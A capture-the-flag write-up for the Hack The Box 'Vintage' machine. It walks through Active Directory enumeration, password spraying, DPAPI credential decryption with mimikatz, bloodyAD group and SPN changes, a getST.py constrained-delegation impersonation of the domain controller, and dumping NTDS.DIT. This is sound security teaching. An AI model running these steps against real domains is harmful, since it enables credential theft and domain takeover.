HTB - Vintage

Enumeration

As is common in real life Windows pentests, you will start the Vintage box with credentials for the following account: P.Rosa / Rosaisbest123

RPC & SMB Enumeration

Every time I connect to rpc With invalid credentials, it gives me Access_denied But this weird error message is unique this time:

┌─[✗]─[kali@parrot]─[~/HackTheBox/platform/machines/Vintage]
└──╼ $rpcclient -U "%" $ip

┌─[✗]─[kali@parrot]─[~/HackTheBox/platform/machines/Vintage]
└──╼ $rpcclient -U "%" $ip -c enumdomusers
Cannot connect to server.  Error was NT_STATUS_NOT_SUPPORTED

The same thing with SMB using netexec

Kerberos & LDAP Enumeration

NT_STATUS_NOT_SUPPORTED flag means NTLM authentication is disabled, so I have to use kerberos authentication instead.

With a domain user credential, I can use bloodhound.py and dump ldap data for further enumeration, then ingesting the zip file into bloodhoud CE

`FS01` is a member of PRE-WINDOWS 2000 COMPATIBLE ACCESS@VINTAGE.HTB

From the post, computer assigned with pre-windows 2000 attribute has the password of its lowercase name

Spraying the password reveals that C.Neri has the same one

Since C.Neri is in Remote Management UsersI will access the machine with evil-winrm but first get kerberos ticket for him.

To perform kerberos authentication from Linux, you must configure /etc/krb5.conf first

Lateral Movement

Inside C.Neri folder, there are DPAPI-encrypted credentials

DPAPI stands for Data Protected API which is Microsoft encryption mechanism. It can be decrypted by the user's password who encrypt it and his masterkey

Normal Location of DPAPI:
- %USERPROFILE%\AppData\Roaming\Microsoft\Credentials
- %USERPROFILE%\AppData\LOCAL\Microsoft\Credentials
The master key Location:
- %USERPROFILE%\AppData\Roaming\Microsoft\Protect\SID\

JokerShell C:\Users\C.Neri\AppData\Roaming\Microsoft\Credentials> ls -Force

We can either encode this encrypted credential by base64 encoding, then transfer to our windows VM along with the master keys to decrypt it locally.

After doing so, we can use mimikatz.exe with dpapi::masterkey first to get the master key, then with dpapi::cred to extract the credential with the obtained master key.

Privilege Escalation

Attack Explain:
1. With GenericWrite on DELEGATEDADMINS, I can add any user to this group
2. With DELEGATEDADMINS privileges, I can perform Constrained Delegation and request a ticket for CIFS
3. With this ticket, I can dump NTDS.DIT database with secretdump.py

This is a script running on the box resetting any change made by players, So I will put the steps we did before here to make things fast.

Adding P.Rosa to SERVICEMANAGERS groups (Previous Step)

KRB5CCNAME=`pwd`/'gmsa01$@dc01.ccache' bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip dc01 -k add groupMember "CN=SERVICEMANAGERS,OU=PRE-MIGRATION,DC=VINTAGE,DC=HTB" P.Rosa

Set SPN to svc_sql With proper syntax Service/FQDN and enable the account if it's disabled again

Set-DomainObject -Identity svc_sql -Set userAccountControl=512 
Set-DomainObject -Identity svc_sql -Set serviceprincipalname='MSSQLSvc/dc01.vintage.htb'
OR
KRB5CCNAME=`pwd`/p.rosa.ccache bloodyAD --host dc01.vintage.htb -d "VINTAGE.HTB" --dc-ip dc01 -k set object 'SVC_SQL' servicePrincipalName -v 'MSSQLSvc/dc01.vintage.htb'

Abuse GenericWriteprivileges

KRB5CCNAME=`pwd`/c.neri_adm.ccache bloodyAD -k --host dc01.vintage.htb --dc-ip dc01 -d 'VINTAGE.HTB' add groupMember 'DELEGATEDADMINS' 'svc_sql'

Perform Constrained Delegation attack

getST.py -spn 'cifs/dc01.vintage.htb' -impersonate 'dc01$' 'vintage.htb/svc_sql':'Zerxxxxxxx' -k

Export the ticket to KRB5CCNAME and dump ntds using netexec

Note: I will use L.BIANCHI_ADM DA user instead of normal Administrator user.
